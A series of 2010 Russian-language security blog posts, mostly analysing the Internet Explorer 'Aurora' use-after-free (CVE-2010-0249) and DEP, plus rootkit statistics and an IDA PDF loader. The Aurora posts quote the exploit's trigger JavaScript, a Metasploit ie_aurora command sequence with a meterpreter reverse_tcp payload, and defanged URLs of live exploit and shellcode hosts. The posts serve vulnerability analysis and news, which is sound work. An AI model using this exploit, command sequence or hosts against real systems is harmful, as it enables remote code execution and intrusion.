четверг, 21 января 2010 г.

DEP и CVE-2010-0249 (codname: "Aurora")

Microsoft таки созрела для выпуска незапланированного обновления и оно должно сегодня стать доступным для скачивания, ориентировочно в 21:00 по msk. Но интересно другое, в MS признали факт опасности этой уязвимости только после появления полуприватного эксплойта работающего в обход DEP. Не менее интересно и то, что MS ранее говорила о том, что с включенным DEP всем будет счастье, но минуточку, методы обхода DEP были известны еще в 2005 году. Но только резонанс в СМИ и негодование в сообществе специалистов по ИБ, все-таки сподвигло MS к незапланированному обновлению. Интересная у них позиция получается нет эксплойта нет проблемы, так получается.

DEP можно отключить, если вызвать недокументированную функцию NtSetInformationProcess(), которая живет в ntdll.dll. Вызывать нужно конечно же задав интересующему нас параметру ProcessExecuteFlags значение ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE. Все параметры для NtSetInformationProcess выглядят следующим образом:

Правда надо заметить, что Vista и Win7 с двумя костылями DEP+ASLR, пока не скомпрометированы этим эксплойтом. Но все же пока пользователей XP подавляющее большинство, эта отговорка со стороны MS не принимается.

Забавно, но число посетителей этого блога, использующих IE сильно возросло за прошедшие сутки:

Видимо пользователей IE найденная уязвимость действительно беспокоит :)

А сегодня еще была замечена буря негодования по поводу 0-day длинною в 17 лет, речь идет об уязвимости в Virtual DOS machine (VDM), которая подвергает опасности все 32-битные ОС Windows (правда только локально). Кому интересно сплойт этого "динозавра", он есть здесь.

Правда мне всегда казалось, что об этой уязвимости всем давно известно, да и на публике она упоминалась не раз. А тут вдруг столько шуму подняли в СМИ, видимо решили нагнать еще страху после сплойта для IE.

среда, 20 января 2010 г.

Подробнее об уязвимости CVE-2010-0249 (codname: "Aurora")

Большой резонанс в СМИ вызвала уязвимость CVE-2010-0249, антивирусные компании не перестают смаковать факты об этом инциденте. Но на самом деле так ли опасна эта уязвимость?
Ведь атака heap spray, которая осуществляется в рамках обнаруженных боевых эксплойтов, не может корректно отработать при включенном DEP на IE7 и IE8. По умолчанию DEP активирован на:
· Internet Explorer 8 на Windows XP Service Pack 3
· Internet Explorer 8 на Windows Vista Service Pack 1 и выше
· Internet Explorer 8 на Windows Server 2008
· Internet Explorer 8 на Windows 7
Таким образом количество потенциально возможных жертв сильно сокращается, даже если они перейдут по вредоносной ссылке, то не факт, что эксплойт отработает как надо.
Судя по статистике посещений сервиса Яндекс.Метрика пользователи с IE этот блог не посещают, так что если вы читаете это сообщение можно считать, что вы защищены :)


Суть уязвимости CVE-2010-0249 заключается в неправильной обработки памяти в библиотеке mshtml.dll, а точнее там осталась "подвешенной" ссылка на объект. Злоумышленник может используя JS получить доступ к этому участку памяти следующим образом:
- При помощи вызова document.CreateEventObject() мы получаем доступ к уязвимому объекту
- После этого вызываем document.getElementById(), что убить в памяти бажный объект, но JS-engine от MS все еще дает возможность получить доступ к освобожденной памяти, пока она не занята
Эксплуатировать уязвимость получается из-за доступа к памяти srcElement, при помощи метода CEventObj::GenericGetElement из библиотеки mshtml.dll, которая пытается получить доступ к зачищенному объекту при помощи CElement:: GetDocPtr.

В сплойте это выглядит собственно так:
function ev1(evt)
{
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
Во всем виновато обращение к изображению:
id="sp1"
src="aurora.gif" onload="ev1(event)"

Посмотреть на эксплойт на питоне можно здесь

Update:
Virustotal показывает, что спустя неделю еще не все обнаруживают этот сплойт.
Кому интересно посмотреть на боевой, то он пока лежит здесь:
hxxp://xx222.8866.org:2988/dz/ie.html (exploit)
hxxp://xx222.8866.org:2988/dz/what.jpg (shellcode)

Update2:
Стало известно о появление переработанного эксплойта, умеющего обходить DEP на XP SP3 и успешно атаковать пользователей с IE 7/8. Но все же DEP+ASLR, пока еще являются серьезным препятствием.

суббота, 16 января 2010 г.

Очередной 0-day для IE, codname: "Aurora"

Только MS успела провести первый этом году Patch Tuesday, как сразу после этого (15.01.2010) Secunia выпустила бюллетень "Microsoft Internet Explorer Arbitrary Code Execution" в котором рассказывается о 0-day уязвимости, причем характерной для всей линейки IE начиная с шестого. В бюллетени речь идет об ошибки из-за не правильного разыменованого указателя, который после освобождения всеравно позволяет получить доступ к объекту. MS завела соответствующий Advisory (979352) и сообщила всему миру в одном из своих блогов, что пользователи Win7 с IE8 не уязвимы полюбому (DEP is enabled by default in IE 8) :)
Сейчас эксплойт уже доступен в составе баз Metasploit и доступен к использованию:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (your IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

На сам сплойт можно посмотреть здесь.
Вот подробное видео с иллюстрацией его работы:

The "Aurora" IE Exploit in Action from The Crew of Praetorian Prefect on Vimeo.


Результаты анализа боевого сплойта в песочнице Wepawet: http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
Что-то не много его антивирусов на сегодняшний день детектит: http://www.virustotal.com/analisis/0793e8d10671762492091a9332b13321437977965e718761f5ef2c2ef298464a-1263646443

Update:
Код эксплойта на python

Update2:
Видео с работой эксплойта под разными версиями браузера IE (6/7/8) на XP c SP3:

Internet Exporer 6


Internet Exporer 7


Internet Exporer 8

суббота, 9 января 2010 г.

Статистика по руткитам за 2009 год от MS

На днях Microsoft обнародовала интересные статистические данные о количестве инцидентов с руткитами, относительно остального вредоносного трафика проходящего через них. Эти данные интересны тем, что у MS есть возможности собирать довольно большие объемы данных. По данным MS количество инцидентов связанных с руткитами крайне мало, относительно общего количества угроз.

А вот так выглядит рейтинг по распространению этих самых 7% руткитов:

В России Alureon больше известен под именем Tdss и по ряду троянцев использующих схожие технологии (подробный анализ в статье от eSage Lab) и такая статистика действительно близка к реальности. На втором месте по количеству инцидентов спамбот Cutwail/Pushdo (подробный анализ которого был сделан компанией Trendmicro в мае прошлого года).
Так же интересна статистика распространенности 64-битных руткитов:

Процентное соотношение 64-битных версий вредоносов отличных от руткитов значительно выше, хотя это может объясняться большими размерами размерами самой выборки.

Думаю в этом году это процентное соотношение сильно возрастет.

среда, 6 января 2010 г.

PDF file loader для IDA

Сегодня появилась статья в блоге Ильфака на тему создания загрузчика на питоне, в качестве примера приводится загрузчик для PDF, на самом деле очень актуальный пример. В предыдущем своем посте я уже писал о появившейся возможности создания загрузчиков на IDC или Python в новой версии IDA Pro 5.6. Приведенный пример как раз иллюстрирует прелести этой новой фичи.


Все подробности у автора в блоге
Ссылка на сам скрипт pdf-ldr.py